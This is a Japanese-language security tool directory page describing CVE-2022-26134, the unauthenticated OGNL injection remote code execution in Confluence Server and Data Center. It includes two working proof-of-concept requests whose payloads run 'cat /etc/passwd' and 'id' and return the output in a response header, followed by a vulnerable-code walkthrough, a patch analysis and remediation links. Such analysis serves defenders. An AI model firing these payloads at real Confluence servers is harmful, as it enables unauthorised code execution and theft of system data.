Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-26134 — [CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection | Kitploit
ツール/GitHubGitHub/murataydemir/cve-2022-26134
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubmurataydemir/cve-2022-26134

CVE-2022-26134

[CVE-2022-26134] Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

リポジトリを見る
134年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

[CVE-2022-26134] Confluence 事前認証オブジェクトグラフナビゲーション言語(OGNL)インジェクション


Confluence は、Atlassian が開発する Web ベースのワークスペースコラボレーション製品です。オンプレミス、または Atlassian Cloud の一部として展開できます。ページ、スペース、ページツリーの 3 つの主要機能で構成されています。

  • ページ: コンテンツはページに格納されます。ページは、Confluence サイト上で作成する生きたドキュメントです。プロジェクト計画から会議メモ、トラブルシューティングガイド、ポリシーなど、ほぼあらゆるものに対してページを作成できます。
  • スペース: ページはスペースに保存されます。スペースは、共同作業を行い、すべてのコンテンツを整理するためのワークスペースです。
  • ページツリー: 階層的なページツリーでスペースのコンテンツを整理すると、作業をすばやく簡単に見つけられます。関連するスペースやページの下にページを入れ子にして、ほぼ任意の方法でページを整理できます。

2022-06-02 20:00 UTC に、Atlassian はセキュリティアドバイザリを公開しました。これは、Confluence Server および Confluence Data Center 製品に影響を与えるリモートコード実行(RCE)の脆弱性に関するものです。CVE-2022-26134 脆弱性の詳細は以下のとおりです。

概要: CVE-2022-26134 - Confluence Server および Data Center における重大な深刻度の認証されていないリモートコード実行の脆弱性
アドバイザリ公開日: 2022年6月2日
影響を受ける製品: Confluence Server および Confluence Data Center
影響を受けるバージョン: サポートされているすべてのバージョンの Confluence Server および Data Center が影響を受けます。1.3.0 より後の Confluence Server および Data Center のバージョンが影響を受けます。
修正済みバージョン: 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、および 7.18.1
CVE ID: CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language (OGNL) Injection

概念実証(PoC): サンプルリクエスト 1

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/etc/passwd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

レスポンス 1

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654688652451
Set-Cookie: JSESSIONID=47E8CE261CF7355A5625FEF65B4BD7DC; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat+%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:44:12 GMT
Connection: close

PoC-1

概念実証(PoC): サンプルリクエスト 2

root@kitploit:~
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ HTTP/1.1
Host: vulnerablehost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

レスポンス 2

root@kitploit:~
HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1654687799603
Set-Cookie: JSESSIONID=37BEF3F90A06CB415FAC1070D6D4570A; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Cmd-Murat: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence) 
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Wed, 08 Jun 2022 11:29:59 GMT
Connection: close

PoC-2
この脆弱性はどのように機能するのか?
URL 内の /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Murat%22%2C%23a%29%29%7D/ は、Confluence によって名前空間(namespace)として解析されます。次に、この名前空間に対して translateVariables(Confluence のテキスト解析ユーティリティの一部)が使用されます。translateVariables は OGNL を使用するため、攻撃は解析され、評価されます。

OgnlValueStack の findValue(str) は、OGNL 式の評価が開始される起点として重要です。以下のスニペットにあるように、この脆弱性が悪用されると TextParseUtil.class が OgnlValueStack.findValue を呼び出します。

root@kitploit:~
public class TextParseUtil {
    public static String translateVariables(String expression, OgnlValueStack stack) {
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class は、this.namespace を指定された式として TextParseUtil.translateVariables を呼び出します。

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

ここで namespace は、com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath 内のリクエスト URI 文字列から作成されます。

root@kitploit:~
public static String getNamespaceFromServletPath(String servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

その結果、攻撃者が提供した URI は名前空間に変換され、最終的に OGNL 式の評価に到達します。大まかに言えば、これは Apache Struts2 の名前空間 OGNL インジェクション脆弱性である CVE-2018-11776 と非常に似ています。

パッチ分析
Atlassian は顧客に対し、xwork-1.0.3.6.jar を新しくリリースされた xwork-1.0.3-atlassian-10.jar に置き換えるよう案内しました。xwork jar には、OGNL 式評価への経路として特定した ActionChainResult.class と TextParseUtil.class が含まれています。

このパッチは、この問題を修正するために多数の小さな変更を加えています。その一つとして、ActionChainResult.execute から TextParseUtil.translateVariables へ namespace が渡されなくなりました。

修正前

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

修正後

root@kitploit:~
public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

PoC-3

git diff コマンドの出力により、下のスクリーンショットの ActionChainResult.class におけるパッチ適用前後の差分を確認できます。(Datalog のブログ記事 から転載)

PoC-5

また、Atlassian は xworks jar に SafeExpressionUtil.class を追加しました。SafeExpressionUtil.class は安全でない式のフィルタリングを提供し、findValue が呼び出されたときに式を検査するために OgnlValueStack.class に組み込まれています。例:

root@kitploit:~
public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

PoC-4

組織はこの脆弱性から身を守るために何ができますか?
パッチが利用可能になったため、修正済みのバージョンの Confluence にアップグレードしてください。現時点でパッチ適用が難しい場合は、Atlassian は Confluence のバージョンに応じた一時的な回避策の手順を顧客向けに提供しています。いずれも、緩和策を適用する間、Confluence を一時的にシャットダウンする必要があります。詳細については、Atlassian アドバイザリの具体的なガイダンスを参照してください:

  • Confluence 7.15.0 - 7.18.0 の場合
  • Confluence 7.0.0 - Confluence 7.14.2 の場合

この脆弱性の修復に関する詳細は、以下のリソースを参照してください:

  • オリジナルのブログ記事: Volexity: Atlassian Confluence のゼロデイ悪用
  • 技術分析の参考情報: AttackerDB: CVE-2022-26134 | Datadog: Confluence RCE 脆弱性(CVE-2022-26134):概要、検出、および修復
  • CVE-2022-26134: 実際に悪用された Atlassian Confluence Server および Data Center のゼロデイ脆弱性
  • Confluence CVE-2022-26134 の活発な悪用
  • Confluence セキュリティアドバイザリ 2022-06-02
ツールをダウンロード